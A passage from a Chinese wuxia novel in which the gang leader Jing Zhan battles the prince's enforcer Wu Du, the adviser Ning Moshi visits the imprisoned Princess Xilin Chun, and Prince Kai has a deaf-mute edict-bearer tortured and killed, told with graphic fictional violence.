石榴记(2 / 2)

弓箫缘石榴记 小椴 20234 字 2022-06-02

空中忽然有血溅下,众人都分不清到底是谁的血。只见京展与巫毒两人的身影已翻飞直上,一纵,已纵落在悬着那名斩经堂子弟的桅杆之上。两人手里都在亡命互搏,越升越高,直到桅顶最高一屋的横杆上。他们突然收手对立,各站一侧,中间隔了个危挺挺的桅杆。

京展冷哼道:“不为开王府,你也早想杀我了吧?我知道以你名头,本不屑于充当什么‘灾星九动’,但开王爷以一整个开封城的盐课之利劝动你了。”

巫毒冷笑道:“不错。你最近的举动,别人不知道,我岂会不知。你居然黑道称雄还不够,勾结多方草莽,居然想夺我这盐上利息。开王爷就算不想杀你,我也要杀你。”

当时盐税极重,巫毒如不是贪如此重利,以他声名,当然不肯屈身侧列于开王府什么“灾星九动”里。

京展突然一垂眼,他此时必须凝心静虑。但下面忽然一声怒叫传来:“叫,我叫你叫!你怎么不号了?不号着为你们老大助威去?”

京展一低头,只见那混混已用一把钩子生生在自己堂下子弟身上剜下一块肉来,残忍地笑着。

他知道,这不过是那混混要立功,逼着那子弟惨叫以乱自己心意。

只听那名子弟突然高叫道:“京老大,不必管我,我手筋脚筋俱断,就是救活了我也没有什么生意。”

他挣扎了身子一挺,竟向那又刺来的钩子尽力迎去。那小混混手一抖,连忙后抽,脸上犹笑道:“想死,可没那么容易。”

桅杆顶争杀忽起,巫毒的大袖铁网突出,京展已与他搏杀在一起。

底下码头的人却看不清他们快得几乎分不清人影的出手。只见到斩月轮那道窄光忽明忽暗,明时是破隙而出,暗时就是被绞在了巫毒的“铁网阎罗”里。

空中不断地有血溅下。那血滴在下面被吊在桅杆低处斩经堂弟子的脸上。身边的混混正在一片片割他的肉,这种疼痛就是他一个硬骨小子也承受不起的。他忽伸舌一舔落在自己脸颊侧的血,大笑道:“这个酸臭,是那什么巫老鬼的。”

然后一舔:“这个铁腥甜,是我大哥的。”

他也熬不住痛,是在借着这大叫发泄出身上的痛意。

却见空中的京展盘旋而下,似在巫毒铁网缠身之下还想救出他堂下的兄弟。

那斩经堂子弟忽然扬头,“大哥,我帮不了你。不要救我,救你自己!”

京展在上头怒道:“我不是救你,是救我斩经堂的义气与志气。”

那弟子哈哈笑道:“不错,你救的是志气。我忍不住了,先自废了,大哥,记着,你说过,我斩经堂子弟要死也要死在自己人手里,不要死在外人的折辱里。”

说着,他突一咬舌,然后,张口一喷,半条断了的舌头猛地就向巫毒追袭在京展身侧的身子上喷去。

巫毒本能地一闪,以为是什么暗器。

京展却眼中一红,他已来到那名堂下兄弟头顶不足两尺之地,却见那断舌子弟忽冲自己一笑:“求你,给我个爽快的!”

他这话痛极而发,已是极端含混与惨厉。

京展一声怪叫,斩月轮从空而降,一劈,已劈进了那名弟子胸口。然后,空中旋身,回刀,一刀已抹了那名混混的脖子。他双脚倒挂,一下缠住了一根悬索,接着挥刀迎向那巫毒的追袭,嘴却倒挂着凑近那兄弟胸口,就着那喷溅而出的血狂饮了一口,然后飞身直上,口里痛呼道:“一世人,两兄弟。镐子,只要我京展一天不死,你一天就还活在大哥血管里。”

巫毒追击而上,他已拂落了沾上他衣服的那半根舌头,京展忽然那么静静地看着他。那眼光,就是凶悍如巫毒,也感觉得出里面那不死不休之意。

这个冤,算是结下了。

空中的阳光一炸。京展的脑中也微微一花。死——面对巫毒这等高手,虽然他有自信可以毙他于刃下,还是忍不住想到了死。

可在他想到死后的那一秒,脑中却不知怎么会想起那一幕:

……他忽想起那日那个陋屋中,那个瘤面的女人躺在他身下,喘息止处,他闭眼睡了,而她临走之前,嘴唇轻轻一碰,在他耳边低声说了一句:

“我的名字,叫阿榴。”

……她以为他睡了,以为他什么都不会听到。

他当时心底却突然异样地牵动了一下,不为别的,只为觉得,这个他以为叫“阿瘤”的女子,在命运中与自己其实有着太多的了解与相似……

“匪精”一摆头,斩月轮已从袖出全露而出,盯着巫毒,“灾星九动”的老大:“你自尽吧,要不说说,你想怎么死?”

第三章 默石

1.师爷

宁默石每天做的最多的事就是洗手。

虽然他如今已位高权重,却并没有养成什么真正奢侈的习惯。他唯一的多余的习惯还是从幼年带来,那就是不断地洗手。

用冷水洗,不管多冷的天。

只是,如今他已换用苏州产的最好的雪纺来拭手。

宁师爷是个长得很好看的男子,这一点在整个开封城里都大有令名。开封城是个古老的城,古老得让一切事物进入这里都变得混沌了,包括年轻,包括好看。

但宁师爷的好看,却在于他的干净。干净的事物总像有一种能够劈开别人角膜的力量。好多年以前他刚走入这个城市时,那一份干净还多少带有些让人不安的味道,会让人生忌,会因为稚弱而让人陡生蹂躏践踏之欲。可如今,好多年过去了,他的干净已只给人以一种稳定感。似乎无论牵扯多复杂的事到了他这里,都会一下子变得明白。而在他做什么决定的时候,那份干净会让他的决定显得更清晰、更有力。

“开王爷这些天在忙什么?”

宁师爷向手下的暗探问道。

那个属下正看着宁师爷的手。宁师爷在这个城里有着不多的几个卧底,埋伏在他们该埋伏处,如同宁师爷一贯做事的风格:不该用力的地方绝对不用;该用力的地方,也绝对不多用上哪怕一丁点力。

——那是一双衬在银灰色雪纺上面的手……其实那属下也曾看过很多有权力的人的手。在这个城里,没有人会比他们这些干卧底的观察更仔细更明白无误的了。

……开王爷长了一双多肉而厚的手,那手有如一扇猪肉般地给人以窒息感和饱胀感,如同他的权力……

……京展的手是多毛的,张着力量的,有疤的,那是暗藏在这个城市底层一直被人忽略的却从不曾消失的力……

而宁师爷的手,只是文雅,只是干净,干净得像生来就为执掌天平而生的。

这是三种掌控不同权力与不同秩序规则的手。

那属下眼睛里看着,嘴里并没忘记回答:“他在忙着两项计划:一项是‘封杀’,一项是‘勾陈’。一项是忙于封杀掉斩经堂在开封城里的所有力量,不给京展以一点喘息之机;一项却是为试图找出那个传说中承接了朝廷密旨来开封城接头的人。这个人,像很难查。开王爷查了两个多月都没有查到,现在已不惜动用重金请来‘猫耳朵’的人来调查了。”

“猫耳朵?”

宁默石扬了扬下颏——那是两河之地最精明的探子了。

他听着下属继续禀道:“前一项,他们表面上已很成功,但灾星九动的老大私下里非常懊恼,京展的那一摊子事不是开王府里的那些人所能全部了解的。他的关系,他的财力,他的密巢……”

“前几日,巫毒老大曾经亲自出手,但结果却是,巫老大遭重创,京展不知下落。现在灾星九动的事务就全由‘双巨头’中的鬼楚来处理。这件事,开王府的人事先想得太容易了,以为对方不过是个黑帮头子,可以一举而定。可真正动起手来,才觉得为难。运河码头一战,京展虽负创而去,不知所终,但重伤巫毒,威风勇猛,反正深刻地留在了开封城百姓心中。好在,灾星九动中还有黑道出身的好手,他们还多少了解些一定规则。最近,他们已在创立‘振声社’,打算开始收拢这开封府城里所有上不得台面的娼优佣保、混混青皮的势力了。”

宁师爷没有说话,在属下面前,他从来听得多,说得少,极少。

说起来,他也算得上开承荫开王爷的一个重要心腹。开王府所有官面上的事,一向都是通过他这个府衙师爷来打点的。但这次,对付京展,开王爷却绕过了他。

——为什么呢?

其实他早知,随着他在白道上势力的一天天坐大,开王爷也已开始忌着他了。

“振声社”是用来干什么的?只怕除了填补京展缺位以后的真空,再以后就是开王爷牵制自己的一张新牌了。

宁默石不会去主动问开王爷,但这些细情,他却从来不曾放弃与闻。

他已擦完了手,忽低低一笑道:“你下去吧。”

——又到了去看开王妃的日子了。

今天开王爷只怕又不在家,更不会在她那儿。

只能去一趟了,谁叫这是开王爷专门交代给他的任务呢?

2.石屏

西林春是个美丽的女人,甚至大家都说,她是开封城里最美的女人。

如果有人说她就是在整个天下也算当世极品,只怕也没人会反对。让大家好奇的是,自从十多年前,她猛地销声匿迹后,这些年她一直都住在哪里?

只有开王府家祭时,她才会稍稍露一下面,就那时也是一晃不见。而其余的时间,她都在哪里呢?

但没人敢问开王府的人。这件事就是在开王府内,似也早成禁忌。大家只有背地里、私下处一次一次饶有兴味地猜度着。

那是一间石屋。

石屋坐落在开王爷驻跸街别宅的最空荒处。

石屋里空荡荡的。那被石头砌成笼罩的空间因为过大而有一种奢华的感觉。但太过奢华,奢华得都冰冷了。

因为空,这里显得像是一座传说中的“冷宫”。

屋里,只有一架石屏。

“原来你还是这么恨我。”

那个声音透过石屏,还是亲密得像是在你耳边呵气。

一呼一吸痒酥酥的。

宁默石默默地看着云母屏风上的石纹,那石屏风磨得很细很薄,可以透光。石屏上,映着一个女人的影子。

女人就坐在屏风背后。屏上的石纹天然生就成几片芭蕉叶子的样子,在巧手匠人的打磨下,更加惟妙惟肖,像一幅大笔写意。

女人的影子透过石屏映了出来,在芭蕉叶子下,依旧那么娇俏俏得如有春意。

当此佳丽,宁默石却没有看她,而是看向自己为灯光映在屏风上的剪影。

屏上的石纹模糊了他脸上岁月的痕迹。这么多年过去了,他以为他早已成熟,今天,却又一次惊心地在石屏上看到了一点当年的遗迹。

这个殿内,差不多所有的东西都是石头制的,不多的几样,石礅石床,看着硬而且冷。

这里是开王府的冷殿,专门禁闭那些不贞的女子。

“开王爷让我来问你一句话,京展他现在到底在哪里?”

宁师爷揉着自己苍白的手指,没答西林春的话,反问了这么一句。

石屏后的女人忽然笑了起来,她的声音很脆,落在石头地上,一片片地碎裂。

她的声音里带着嘲讽:“宁师爷,他就算是真的被蒙在了鼓里,难道你也是?他以为我在榴莲街上勾搭上了斩经堂的子弟,难道你也这么想?你敢说,这不是你亲手作就的一个局?”

她忽哈哈大笑起来:“一个即陷害于我,又陷害了斩经堂的局?”

她的胸口忽一阵耸动,好半晌,才勉强平复下来:“你下手可真狠呀。一丝余地也不给别人留。你变了,变得不再像刚入开王府时那么一个年轻单纯的子弟。我有时怀疑,你还是当年的那个小石头吗?”

宁师爷默默地抬起眼:当年的小石头?

当年的小石头是个什么也不懂的年轻男孩儿,而现在,他已是一个男人了。他在心里呵呵地苦笑着:男人……那心里响起的呵呵的声音像一个人在冬天里倒抽着气,一口一口地冰冷。

“这些年,我是每月一次看到你这么慢慢地变了的。”

这么些年,只有宁默石被开王爷允许每月来看王妃一次。只有他,只有这个男人,才是她唯一能接触到的生人。

她看得不可谓不仔细。宁默石其实并没有老,他的五官依旧在原来的那些位置,依旧……那么清拔爽秀。只是,皮肤上的气色,再不似原来天然然的、恍如无色琉璃般的色泽,而是一日一日,“青如天、明如镜、薄如纸、声如磬”,那么青白下来,变成一面让人看不透的青瓷。

变了——自己确实是变了。

宁默石看着自己苍白的手指,想起些往事。只有在这个冷殿里,他才允许自己想起那些往事……刚入开封时是哪一年?还是十好几年前吧。那一年的乡举,直到过了好多年后,他才知道自己为什么没有考取。

那正是为了这个正坐在石屏风后的女人。

她真的很美,哪怕是在石室冷宫,哪怕隔着屏风,还能让人感到如沐春风之意。

可当年,让他怕的就是她这种因为美而产生的自信。

……因为她当时正想替开王府找一个算账的师爷,用来管内库的账本。这个人必须年轻,必须要有点才学,又必须要对得上她的眼。

所以她干涉了乡试。

她看中了宁默石。她的嘴唇轻轻一碰,宁默石那么用心作出的三篇策论便被主考扔进了废纸篓里。宁默石穷途末路之下,也就真的只有入了开王府,成了开王府的一名管账师爷。

那时的宁默石也真的生得年轻爽隽,以致主管家务的开王妃每一次见到他来报账时的样子,就忍不住想逗一逗他。

可那时的宁默石,也当真是拘谨得可以。也许正是这份拘谨才更加撩动起了开王妃的兴致。她的挑逗变得越来越大胆了。她是一个美丽的女人,可惜,正是因为生得太美丽,她早早地就做了开王爷的王妃,女人的那一些小小的快乐她都来不及尝试,比如:风情。

美丽女人的风情就如小猫嘴里长出的尖齿,时不时拿出来磨一下,总不免自己心痒得难受。而拿出来磨,却可以赏心悦目地看着别人心痒得难受。

但开王妃此生最大的遗憾也许就是:自己枉称美丽,却几乎注定没有机会做一个可以略施风情的女子。她也不敢挑逗别的男人,因为,那会有麻烦。开王爷的脾气很是暴戾,只有拘谨如刚入王府的宁默石,才给了她最大的挑逗余地。

那时候的他,毕竟在外人眼中只是个什么都还不懂的男孩子。

她喜欢看着宁默石为她的挑逗而苦恼,又不敢恼、不能恼的样子。那里面像有一些让她心动的年轻与稚气,就好像是猫捉老鼠的一个游戏。

但那时的宁默石,却不只为她的挑逗而苦恼。让他更苦恼的,是来自开王爷的目光。

开王爷生长富贵,对于他来讲,人间欲望的游戏真正是百无禁忌。宁师爷很能干,做出的账滴水不露,一时兴起提拔起来后,那些涉及公家的账交到京里去时也不会给他留下一丁点麻烦,无论他怎么侵占本属于朝廷的钱米——这就是他对于宁师爷最初的印象。

然后,他在百忙中见到了这个少年男子,那么爽隽的风神,漂亮得像是汝窑的瓷器,跟女人绝对不同的俊爽之气,却也惹得他不由得微微心动。

让宁默石当时感觉最大苦恼的就在这里。西林春毕竟是女人,她还比较容易躲避,可开王爷不是个容易让人拒绝的人,他的那一份关注常常让他避无可避。

他那时独宿于账房,有一天晚上,他从外面回来,刚走到窗下,心里就有了一丝警惕。他是个很细心的人,这房门的搭扣不是他离开时的样子。

然后,他听到了屋内低低的声息。

借了窗缝,他看清了——西林春,是那个让他想避却越来越避不开的西林春。

他在风露里站了一刻。屋内,只要是西林春在的地方,让人想起就会生起一片春意。

宁默石站了很久,然后就悄悄躲了出去。

以他的身份,只有尽量逃避得不露痕迹。

可那晚让他没有想到的是:半夜三更,开王爷居然不顾一己之尊,在酒醉之后竟然也摸到了他的房里。每想起这件事,宁默石都觉得这是他生命里最荒唐的一场闹剧:黑灯瞎火的账房,为欲念所催的开王爷与西林春就这么相会在一个账房师爷的房间里。西林春故意灭了灯,一开始只认为回来的定是宁默石。她的挑逗无声而大胆。开王爷先开始还当作是宁师爷偷养的别的女人,他有心促狭,账房里于是开始上演起一出好戏。

可这层纸很容易被捅破。西林春一开声,开王爷当场脸就黑了。账房里等着的居然是他的王妃!

他暴怒,可这事还不便张扬,胳膊只能折在袖子里!

开王爷一巴掌打去。

西林春就捂着脸含羞带愧地逃回了内宅。

开王爷却在一愣后追了回去。

追到后,他“嘿”然地对她一笑,就想发怒,西林春却含讥带讽地对他道:“没想到,咱们两口儿的口味却是一样的,倒也没白做一场夫妻。”

宁默石静静地吐了一口气。那件事后,开王爷对王妃的惩罚就是,给她的屋子里送了一尊石女的雕像。

那暗示他以后对待这个王妃的态度。

而最荒诞的却是:西林春此前每次私下里碰到自己时,都爱叫她给自己起的小名,那小名正好是“阿石”。

从那时起,她就已遭到了开承荫的冷落,他要把她困成一个石女子。

但他后来却突发奇想,要宁默石每个月必来看她一次——看得着、吃不着,这就是开王爷想出的对这个“淫妇”所能想到的最好的惩罚。

但欲望,欲望的坚持能有多久呢?在这个石室冷宫内,开王妃对自己当初的那点兴致早已冷却了吧,剩下的只有仇恨。

她恨着自己,自己也恨着她。

这就是开王爷想要的。所有有权力有“尊严”的人不就是喜欢看到别人这样在憎恨里无力报复地过着?

……宁默石闭上眼,缓缓地吸了一口气。这些事他已好多年没有想起了——他拒绝想起。他现在是开封府衙的师爷,起码大半个开封城的人都要仰他的鼻息。他很会做事,开封城一带的白道势力几乎已尽入他掌握里。现在就连开王爷、目下的开王爷都不敢再怎么难为自己。

西林春忽然低声地笑了起来:“你今天来,该不是只为了问我这么句话吧?我已经被你害到了这里,你还不够?你就真的一定那么想,活活地看我的笑话?”

“我现在已落得很惨,最近又出了斩经堂这一码子的事儿,只有比当初更惨。开承荫那王八蛋前月专门来骂我是拴都拴不住的母狗。没错,他说的是母狗。我这么跟你说,你是不是很满意?”

她冷睨地看着宁师爷。那几次省亲之机还是宁师爷帮她求得的,有一些外出也是宁师爷默许下才办到的。只怪自己——谁叫自己在那不多的外出机会中,偏偏深夜经过了榴莲街。

只要她曾经过,以后,什么样的故事,就只有由着别人说了。

开王妃的眼角忽现苦笑,那苦笑带出了几道细纹,就是冷宫深殿冻也没冻住的细纹。

她照了一下菱花镜,她是美丽的女子,有着照镜的习惯,一照之下自己都要笑出来。她目前的境遇已经惨得不能再惨了,就算有再多新生的麻烦,也只会让她觉得可笑而已。

她接着更加轻倩地笑了起来,屏风后的目光斜睇着:“但是,宁师爷,我并不恨你。因为我知道,你的报复该不会就此为止。我很高兴看到你将怎么继续报复下去。你绝对知道榴莲街里真正发生的事——哪怕我幽居冷宫,其实我也知道……阿榴现在还好吗?说的就是你的妻室阿榴。呵呵,斩经堂京展既已惹了你,他们的大麻烦只怕才刚刚开始。”

“榴莲街上……我白担了个虚名,这一生我都在白担虚名。而那个真正夜诱的人,她只怕才比我更不知要多出多少艳遇。”

3.密旨

榴莲街的夜还是那么黑。

黑得恍如隐秘。

黑得会引起人“勾陈”的兴趣:要看看那黑下面藏的,究竟是什么东西?

呆二爷的馄饨挑刚刚离地,就被一只手按住了。他茫然地回过脸,看到的却是一张铁青的脸。

那人的长相相当狰狞,只见那人的嘴巴嘎巴嘎巴的,像是在大声说话的样子。呆二爷茫然地看着他,不知他在说什么。他不会说话,只有用手比画起来回应。

可比画来比画去,那人像还不懂。最后呆二爷着了急,急急地向自己耳朵指来指去,然后摇着手,意思是说:“你还不明白?我是个聋人。”

可他万万没想到的是:那个人的嘴巴虽然在动,其实他并没有发出任何声音,他只是在急切地做着说话的样子。

这一幕情形当真诡异——暗暗的街上,午夜时分,一个人装着大声说话地嘎巴着嘴,对面的却是个聋人。

是什么样的原因,才会促成这两人上演起这么一出荒唐的哑剧?

那个人做着口型,像在大嚷,偏没有一点声音,像是顽皮孩子对一个聋老儿的调戏。

呆二爷只是茫然地看着他。这么有一晌,那人忽大声道:“我是说,我要五十六碗馄饨!”

这一声在夜街中猛地一炸,他声音出口后一双眼就直直地盯着呆二爷,要看他的反应。

只要有一丝丝听觉,他都应该会吓得一惊。

呆二爷却依旧没有反应,只是疑惑地望着他。

那人终于废然一叹:“王爷,这孙子还真的是个聋人。”

他身后的暗影里就传出一声嘻嘻的笑。

那人忽然伸手一把掐住了呆二爷的下巴,怒道:“十聋九哑,你这个聋人,多半还是个哑巴了?”

呆二爷痛苦地扭动着下巴,想挣脱出那个凶神样的人的手,口里发出咿咿呀呀的声音。

他的口水流了出来,滴在那人手上。那人厌恶地一缩手,才放开了呆二爷的下巴。他把手往衣襟上蹭了蹭,回身道:“爷,没办法了,这老家伙真的是个聋人加哑巴。想问他什么话,看来是难了。”

他身后街边的暗影里站了一个中年富态人。他的脸上始终挂着笑。因为胖,他脸相显得有些和气。他这么和气的人忽然上前一步,一出手,一把就掀开呆二爷刚才收摊时已封好的泥炉盖儿,用火钳夹出了一块有点红影的炭,一按就按在了呆二爷的颈子上。

“哧啦”,随着那一声,青烟一冒,麻油香里突然掺进些古怪的焦肉气味。

呆二爷疼得咿呀大叫起来,可就是这样,他还是没有吐出任何一个有一点真正意义的字。

那富态中年人笑着就住了手,轻叹了下,叹气时都像带着笑影似的,似乎他具有这天底下最多的幽默:这老头儿,还真是个哑巴加聋人。

那中年人想了会儿,举动忽悠闲起来,伸出火钳,轻轻地用那炭灰在地上写成了几个字:

“知不知道我为什么烫你?”

那狰狞汉子一把按住呆二爷的颈子,就把他的身影按低了,脸直要贴到地上的那字迹上去。

呆二爷的身子蜷缩得像个入锅的虾米,浑浊的眼中眼屎与泪水齐出,茫然地看着地上的灰迹。

那个胖子却又在地上用炭灰写道:“告诉我关于密旨的事。”

说着他把火钳交到呆二爷手里。

呆二爷的手颤颤的,握着火钳,人抖成了一团,懵懂地看着地上的字迹。

那狰狞汉子不由得一声怒笑道:“王爷,这老东西居然还不认得字!”

那胖子的目光就更尖锐了,一双小眼睛夹在脸上的肉缝里,像藏在肉案后的两把匕首。

他嘿嘿地笑了出来:“天聋地哑,嘿嘿,竟真的是天聋地哑!真难为他们怎么想出来的,要这么个人来传密旨的旨意。真的就是被逮住了,也再没有人可以从他口里问出一丁点消息。”

狰狞汉子道:“王爷,你相信真有那密旨?”

那富态中年人横了他一眼:“京里莫公公传出来的消息,难道会有错。虽说他也只是存疑,说可能真有一道密旨传到了开封城,连他也不清楚内容——不知道接旨的是谁,不知道针对的是谁,也不知道具体是什么旨意。”

富态中年人的声音忽暗淡了下来:“咱们府里的人探不清这事,我费了多大力气,专门请来了‘猫耳朵’,才终于摸清,如有密旨,那传旨的一定就是这么个老头。”

他伸出脚尖,一脚踏在呆二爷蜷跪在地上的头上,好像随便踩住块石凳歇歇力。

他的一条腿轻轻抖动着,口里暴怒道:“本来我还只是有点好奇,皇上好端端地往这里传什么密旨,可是他又动了兴要找什么不便为百官知道的乐子?或又是看上了开封城里的什么奇技淫巧?我先开始只是好奇。”

“但现下你看看,安排得多么周到!毫无缝隙!”

“一个又聋又哑还不识字的老儿,连你这杀才专会用刑的只怕动用遍弄法也逼不出一个字。这开封城里,值得人这么费心思对付的,你说还能有谁?”

这一句问出,那狰狞汉子的心里才猛地一惊。

他抬眼看向胖子,口里犹疑道:“难道是……针对王爷你?”

胖子冷冷地看着他不说话。

狰狞汉子的脸色就变了变。

那胖子却淡淡道:“我为什么要发动‘封杀’,你现在明白了吧?虽然我不能确定,但起码也不能排除这嫌疑。不过,嘿嘿,皇上只敢传密旨,就算是为了对付我,说明他也不好明面硬来地对付我。我们毕竟还有姻亲关系。只要是这样,那就还好办。开封城里现在谁对我最不听话?”

狰狞汉子低声道:“京展!”

胖子低声一笑:“我就知道他勾引王妃绝对没有那么简单。除了西林春,这城里,还有谁能更了解我王府的秘密?”

他忽然转身就去,临去前口里说道:“吴毕德,你回去告诉鬼楚,我给他十天时间。十天内,他要是再拿不住那叫京展的‘匪精’的人头来见我,这个灾星九动,我也养不起了,养起来也没用。嘿嘿,那时候不是灾星,而是该摘星了吧?”

狰狞汉子吴毕德的身子就轻轻一抖,叫了声:“王爷……”

他还想问下怎么对这老头儿处理,胖子的口里却只“嘿”了一声,似恼于他这不知趣的一问。

吴毕德的手一紧,才受了气,这下气有了发泄的地。他杀人的办法却不是让人就死,他缓缓地在暗巷里折磨着呆二爷,足足折磨了有半个时辰,像活生生拔断蜻蜓四只翅膀的兴致,最后,才拧断了那呆二爷的脖子。

但这断也不是让他就死,起码还要让呆二爷趴在地上,痛苦地喘上两盏茶工夫的气儿。

吴毕德也走远了,暗暗的榴莲街里,只剩一个蜷缩在地上挣扎都挣扎不动了的呆二爷。

他想来这时一定痛得不行的吧?

只见他浑身都在耸动。如果有人看到他脸上,却不知那该是怎样痛苦的表情?

可如真有人看到他脸上神情的话,只怕那真的要大惊而倒的——他的脸上居然在笑,满脸的皱纹都在笑,像一千条蜈蚣跳起了一场狂欢的舞蹈,全身忍也忍不住地耸动的笑,哪怕他离死亡已只有不到一线之地。

他的口里却在喃喃着,他居然开始说话,直到咽气之前都在喃喃着一句:“嘿嘿,我会说话的。嘿嘿,哪怕我们封家只剩下我这老而没用的,但其实,我还是会说话的……”

第四章 斩经

1.伤恤

开封府这些日子大家的灯都灭得格外早。

晚上也再没有人敢上街了。因为,斩经堂与灾星九动的对决已全面在整个开封城发起。

那像是一种无望的搏杀。有时只是一两个人的,有时却三五成十的拼杀。斩经堂下子弟原来竟是最团结的子弟。他们也不知这样的拼杀有没有结果,他们甚至不知道他们的老大现在到了哪里。可只要故十爷一声令下,他们就在暗隐处走了出来,拼了命豁出去了地在街上拼杀。他们都是毫无顾忌的人,他们只是要在这王权当头的天空给自己挣扎出一点“活”的余地。

但很少会有百姓看到尸体。尸体一出现就都被扫理干净了,开王爷是个喜欢夸耀安定的人,他不要人看到那些尸体,他要维护他表面的“清明”之治。

只是清早起来,暗污的街石上常有几摊已冻住的褐色血迹。

几天下来,斩经堂的反抗极激烈而壮烈。他们在暗处,虽时刻在被追杀,但一次次刺杀也不间停地发起。灾星九动里的几个主要人物据说已被灭了三个,还有两个养伤在家里。

但还是没有人知道斩经堂的京展老大藏身在哪里。

——为什么会一次次来到这个陋屋?

阿榴坐在一盏暗哑的灯边,这么不停地责问着自己。

她本不该再来的,她对自己有个规矩:她可以勾引人,但绝不会和谁有第二次幽会!可从那天被京展强迫后,早已打定主意不再来的阿榴,居然在满城里都在追杀斩经堂子弟时,竟忍不住来了第二次。

她吞了一口烟,觉得自己竟然也不了解自己。

本来以为自己不过是来看看玩的,也不会再碰到那……杀千刀的京老大。可没想,竟那么巧,竟会在这陋屋里真的碰到了他去!

这里,原来就是他的暗室。

他居然还敢来,并不担心自己揭出他这个藏身老底!

她也居然就又一次在他身边睡下。一个带了伤的,浑身血腥的,像对什么都已绝望的男人,那么急吼吼地来摸自己,自己又能怎么样呢?

然后,第三次,第四次……她也不知道为什么会一次次地来这里。

这,已不仅像是对默石的负气。

默石的身子是单薄的,可他的性子却是极强的。

可这个男人不同,这个绰号“匪精”的京展不同。他看着是那么强壮,这些日子来,他几乎每夜回来时都带着伤。他虽不说什么,但乌压压的眼神里有时会晃过一点恐惧,那是他绝不会在别人面前稍露一丝的恐惧,可为什么会这么坦白地露给了自己?

自己,可并不像什么“良母贤妻”……阿榴苦涩地笑了,何况,他们这算什么亲热,只能算最下流最卑鄙的野合而已。

但那男人的眼神,像……里面藏了两只怕得哆嗦的兔子,他就这么把一点情绪的私密坦露给了自己,而自己偏偏竟接受了,接受了就像是等于承认了两人间一些不可言说的隐秘。

他倒不光是在身体上需要自己……

女人想不通,这些日子,她的心里都是乱的。但直觉,京展在好多地方,作为一个江湖人,跟她在本质上是相通的;而默石,无论她怎样来爱,那样的人在命运中也只是能拿来给她远远地望的……

她不想多想了,放任脸上的神情一片空白。

——跟这个“匪精”在一起,起码有一点好处,她不用强迫自己委屈自己,装出个什么姿态来。空白就空白,不爱就不爱,身体就身体,哪怕,床上的求索也由着她大胆,甚至可以有时恶意地故意不顾及他的伤处……

就是这样,也不用觉得有什么“对不起”。

她脸上浮现起一点笑影:默石的五官看起来再怎么精致,甚至都精致得像个孩子,但其实他早是一个男人了,成熟得不能再成熟的男人。

而这男人,其实,还像个孩子……

他每次来见她,哪怕再紧迫的追杀,居然都还会顺手借来一些给她戴的花里胡哨的女人装饰用的东西:有时是钗,有时是手镯子什么的……那品位真的俗艳,俗艳得让女人看了,都觉得有那么一点……讨喜。

他不像默石,默石的品位是极高的。但默石给她的东西只能看,远远地看,仿佛那精致都精致得不属于她的世界里。

门轻轻地咯吱一响,一个黑色的人影就闪入了门里。门内的烛光暗得算有那么一点光亮。阿榴正坐在灯前,脸上鸽子蛋大的瘤子与这小小陋室倒有点天然的贴切意思。

闪进来的京展一进门就往床上一摔,四仰八叉地躺倒。

女人看了他一眼:“又受伤了?”

京展嘿了一声:“他们下手够狠,这次伤得我不轻,可我也杀了六个灾星九动手下的王八羔子。”

女人往他身边一凑,手里拿着蜡烛,掀开他的上衣。

京展的眼睛猛地热了,拦腰一抱,就把那女人的身子合抱在了床上。

阿榴闷声道:“伤成这样,你还想作死?”

京展就嘿嘿地笑了:“我拼着力气活着,不就是为这个?”

他的声音里有一种郁闷,那是无可发泄的力。他忽看向阿榴脸上,这世上,大概也只有他可以这么毫无避忌的,带着一点爱意带着一点恶意地看着她的脸,直接面对,毫无规避。

从那日运河码头重创回来,看到屋里的这个女人,他不知怎么就生起了一点“知重”之意。

是因为死亡的催逼吗,还是为了,他们,虽不了解自己,却像反能了解彼此?

阿榴由着他的一只手掌探进衣内,手里却利落地剥下了京展的上衣。

一条刀伤,蛇一样地从后背肩胛骨一直蜿蜒到那男人腰胯里,阿榴看着都打了一个哆嗦:

“够狠”。

说着,她忽嘿声道:“刀上有毒!”

她的手也够快,先不止血,反催亮了那烛焰,直向那伤口上烧去。

京展痛得一咬牙,眼睛里却是乌压压的笑:“你他妈的更狠!就是要止毒,你们七巧门就没更好的法子?”

女人伸手一拢额前的头发,只听她冷淡道:“起码没有比这更快的法子。”

那烛焰贴着男人的尾闾一直烧上去,阿榴从怀中掏出了个不知什么名堂的瓶子,倒出了些白色的药粉,撒在那伤口上,被烛焰一烧,直冒蓝焰。

男人的脸上肌肉已抽搐到一起,口里低声骂着:“你这个娘们儿,真是……他妈的恶!除了我,这世上怕也真没谁能真正消受得了你。”

那药粉的药效果然很好,烛焰烧过,就在伤口上面结成了一个痂,生生把那男人背上的伤口封住了去。

女人才给他治好伤,男人一翻身,就已压在了那女人身上,直勾勾地盯着女人全没用头发遮掩的脸,一口就压下去。

女人哼了一声:“作死!”

男人却嘿声道:“没错,我姓京的就是死,也要是作死的——而不会被哪个王八羔子真个杀死了去!”

2.碰面

庶士园中,女人卸下了头上的簪。那是京展这次给她带的。她当时当着京展的面会插上,但只要默石一回来,就马上卸下,丢在一个自己永远不会再开启的妆奁里。

这里是默石的家。她绝不会让那些……脏东西出现在默石眼里。

她呆呆地望着镜子一坐就可以坐一上午。

可今天半夜,京展伤重了。她不只带回了京展送她的钗环,还带回来了……

宁默石的身影出现在镜子里。阿榴轻轻舒了一口气,庆幸自己及早卸下了那簪子。

否则,那份艳俗只怕会惹来默石在心里嘲笑自己。

默石的眼神还是那么清宁淡定。只听他笑道:“阿榴,在家里闷得也好久了,有没有想过再次出山?江湖道上,不也有个‘女神捕’娄烨?我的事太多,六扇门的事我顾不过来了。你这么能干,功夫又好,愿不愿帮我打理打理那里?”

女人茫然地点着头。

她其实没听清默石在说什么,但默石无论说什么她都会点头答应的,真心地答应。

她的眼睛正空茫茫地看着镜子里默石的影子……那样的眼,那样的眉,爽隽得她恨不得……

但,所有的热情都怕唐突了她心里那爽隽的影子。哪怕他的笑天天近在耳畔。

女人的脖子滑滑的,因为想起曾有一种温柔沿颈而下,想起那个合卺的夜晚,那是她唯一的一次见到他眼里有一点男人的热情,手轻轻地在她颈侧滑过一次。

一想起那一刻的触觉,女人心里猛地一跳,她看了眼内室的门,突生悔恨,像有什么要从喉咙里跳出腔子外去。

开王爷哈哈大笑,他终于得到了京展的消息。为了对付斩经堂,他手下的灾星九动几乎也折损了一小半,十天半个月地过去了,虽杀得斩经堂鸡飞狗跳,运河码头已落己手,斩经堂总堂也被彻底毁去,但还是没摸到掀翻京展的老底。

京展的老底就是他的人头。

可他这时像毫不介意,也全没怒意。

